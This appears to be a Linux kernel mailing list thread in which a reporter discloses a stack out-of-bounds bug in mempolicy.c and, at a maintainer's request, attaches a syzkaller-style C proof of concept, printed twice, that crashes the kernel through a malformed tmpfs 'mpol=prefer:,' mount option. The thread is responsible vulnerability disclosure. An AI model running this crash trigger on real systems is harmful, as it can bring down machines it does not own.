Hello Randy,
please see attached POC for the vulnerability.
On Mon, Mar 16, 2020 at 10:46 PM Randy Dunlap <rdunlap@xxxxxxxxxxxxx> wrote:
On 3/15/20 12:57 PM, Entropy Moe wrote:
> Hello team,
> how are you ?
> I wanted to report a bug on mempolicy.c. I found the bug on the latest version of the kernel.
>
> which is stack out of bound vulnerability.
>
> I am attaching report.
>
> If you need the POC crash code, I can provide.
Hi Moe,
Please post the POC code and your kernel .config file.
thanks.
--
~Randy
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/loop.h>
static unsigned long long procid;
struct fs_image_segment {
void* data;
uintptr_t size;
uintptr_t offset;
};
#define IMAGE_MAX_SEGMENTS 4096
#define IMAGE_MAX_SIZE (129 << 20)
#define sys_memfd_create 319
static unsigned long fs_image_segment_check(unsigned long size, unsigned long nsegs, long segments)
{
unsigned long i;
struct fs_image_segment* segs = (struct fs_image_segment*)segments;
if (nsegs > IMAGE_MAX_SEGMENTS)
nsegs = IMAGE_MAX_SEGMENTS;
for (i = 0; i < nsegs; i++) {
if (segs[i].size > IMAGE_MAX_SIZE)
segs[i].size = IMAGE_MAX_SIZE;
segs[i].offset %= IMAGE_MAX_SIZE;
if (segs[i].offset > IMAGE_MAX_SIZE - segs[i].size)
segs[i].offset = IMAGE_MAX_SIZE - segs[i].size;
if (size < segs[i].offset + segs[i].offset)
size = segs[i].offset + segs[i].offset;
}
if (size > IMAGE_MAX_SIZE)
size = IMAGE_MAX_SIZE;
return size;
}
static long syz_mount_image(volatile long fsarg, volatile long dir, volatile unsigned long size, volatile unsigned long nsegs, volatile long segments, volatile long flags, volatile long optsarg)
{
char loopname[64], fs[32], opts[256];
int loopfd, err = 0, res = -1;
unsigned long i;
size = fs_image_segment_check(size, nsegs, segments);
int memfd = syscall(sys_memfd_create, "syz_mount_image", 0);
if (memfd == -1) {
err = errno;
goto error;
}
if (ftruncate(memfd, size)) {
err = errno;
goto error_close_memfd;
}
for (i = 0; i < nsegs; i++) {
struct fs_image_segment* segs = (struct fs_image_segment*)segments;
int res1 = 0;
res1 = pwrite(memfd, segs[i].data, segs[i].size, segs[i].offset);
if (res1 < 0) {
}
}
snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
err = errno;
goto error_close_memfd;
}
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
if (errno != EBUSY) {
err = errno;
goto error_close_loop;
}
ioctl(loopfd, LOOP_CLR_FD, 0);
usleep(1000);
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
err = errno;
goto error_close_loop;
}
}
mkdir((char*)dir, 0777);
memset(fs, 0, sizeof(fs));
strncpy(fs, (char*)fsarg, sizeof(fs) - 1);
memset(opts, 0, sizeof(opts));
strncpy(opts, (char*)optsarg, sizeof(opts) - 32);
if (strcmp(fs, "iso9660") == 0) {
flags |= MS_RDONLY;
} else if (strncmp(fs, "ext", 3) == 0) {
if (strstr(opts, "errors=panic") || strstr(opts, "errors=remount-ro") == 0)
strcat(opts, ",errors=continue");
} else if (strcmp(fs, "xfs") == 0) {
strcat(opts, ",nouuid");
}
if (mount(loopname, (char*)dir, fs, flags, opts)) {
err = errno;
goto error_clear_loop;
}
res = 0;
error_clear_loop:
ioctl(loopfd, LOOP_CLR_FD, 0);
error_close_loop:
close(loopfd);
error_close_memfd:
close(memfd);
error:
errno = err;
return res;
}
int main(void)
{
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 3ul, 0x32ul, -1, 0);
memcpy((void*)0x20000000, "tmpfs\000", 6);
memcpy((void*)0x20000100, "./file0\000", 8);
memcpy((void*)0x20000340, "mpol", 4);
*(uint8_t*)0x20000344 = 0x3d;
memcpy((void*)0x20000345, "prefer", 6);
*(uint8_t*)0x2000034b = 0x3a;
*(uint8_t*)0x2000034c = 0x2c;
*(uint8_t*)0x2000034d = 0;
syz_mount_image(0x20000000, 0x20000100, 0, 0, 0, 0, 0x20000340);
return 0;
}
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/loop.h>
static unsigned long long procid;
struct fs_image_segment {
void* data;
uintptr_t size;
uintptr_t offset;
};
#define IMAGE_MAX_SEGMENTS 4096
#define IMAGE_MAX_SIZE (129 << 20)
#define sys_memfd_create 319
static unsigned long fs_image_segment_check(unsigned long size, unsigned long nsegs, long segments)
{
unsigned long i;
struct fs_image_segment* segs = (struct fs_image_segment*)segments;
if (nsegs > IMAGE_MAX_SEGMENTS)
nsegs = IMAGE_MAX_SEGMENTS;
for (i = 0; i < nsegs; i++) {
if (segs[i].size > IMAGE_MAX_SIZE)
segs[i].size = IMAGE_MAX_SIZE;
segs[i].offset %= IMAGE_MAX_SIZE;
if (segs[i].offset > IMAGE_MAX_SIZE - segs[i].size)
segs[i].offset = IMAGE_MAX_SIZE - segs[i].size;
if (size < segs[i].offset + segs[i].offset)
size = segs[i].offset + segs[i].offset;
}
if (size > IMAGE_MAX_SIZE)
size = IMAGE_MAX_SIZE;
return size;
}
static long syz_mount_image(volatile long fsarg, volatile long dir, volatile unsigned long size, volatile unsigned long nsegs, volatile long segments, volatile long flags, volatile long optsarg)
{
char loopname[64], fs[32], opts[256];
int loopfd, err = 0, res = -1;
unsigned long i;
size = fs_image_segment_check(size, nsegs, segments);
int memfd = syscall(sys_memfd_create, "syz_mount_image", 0);
if (memfd == -1) {
err = errno;
goto error;
}
if (ftruncate(memfd, size)) {
err = errno;
goto error_close_memfd;
}
for (i = 0; i < nsegs; i++) {
struct fs_image_segment* segs = (struct fs_image_segment*)segments;
int res1 = 0;
res1 = pwrite(memfd, segs[i].data, segs[i].size, segs[i].offset);
if (res1 < 0) {
}
}
snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
err = errno;
goto error_close_memfd;
}
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
if (errno != EBUSY) {
err = errno;
goto error_close_loop;
}
ioctl(loopfd, LOOP_CLR_FD, 0);
usleep(1000);
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
err = errno;
goto error_close_loop;
}
}
mkdir((char*)dir, 0777);
memset(fs, 0, sizeof(fs));
strncpy(fs, (char*)fsarg, sizeof(fs) - 1);
memset(opts, 0, sizeof(opts));
strncpy(opts, (char*)optsarg, sizeof(opts) - 32);
if (strcmp(fs, "iso9660") == 0) {
flags |= MS_RDONLY;
} else if (strncmp(fs, "ext", 3) == 0) {
if (strstr(opts, "errors=panic") || strstr(opts, "errors=remount-ro") == 0)
strcat(opts, ",errors=continue");
} else if (strcmp(fs, "xfs") == 0) {
strcat(opts, ",nouuid");
}
if (mount(loopname, (char*)dir, fs, flags, opts)) {
err = errno;
goto error_clear_loop;
}
res = 0;
error_clear_loop:
ioctl(loopfd, LOOP_CLR_FD, 0);
error_close_loop:
close(loopfd);
error_close_memfd:
close(memfd);
error:
errno = err;
return res;
}
int main(void)
{
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 3ul, 0x32ul, -1, 0);
memcpy((void*)0x20000000, "tmpfs\000", 6);
memcpy((void*)0x20000100, "./file0\000", 8);
memcpy((void*)0x20000340, "mpol", 4);
*(uint8_t*)0x20000344 = 0x3d;
memcpy((void*)0x20000345, "prefer", 6);
*(uint8_t*)0x2000034b = 0x3a;
*(uint8_t*)0x2000034c = 0x2c;
*(uint8_t*)0x2000034d = 0;
syz_mount_image(0x20000000, 0x20000100, 0, 0, 0, 0, 0x20000340);
return 0;
}
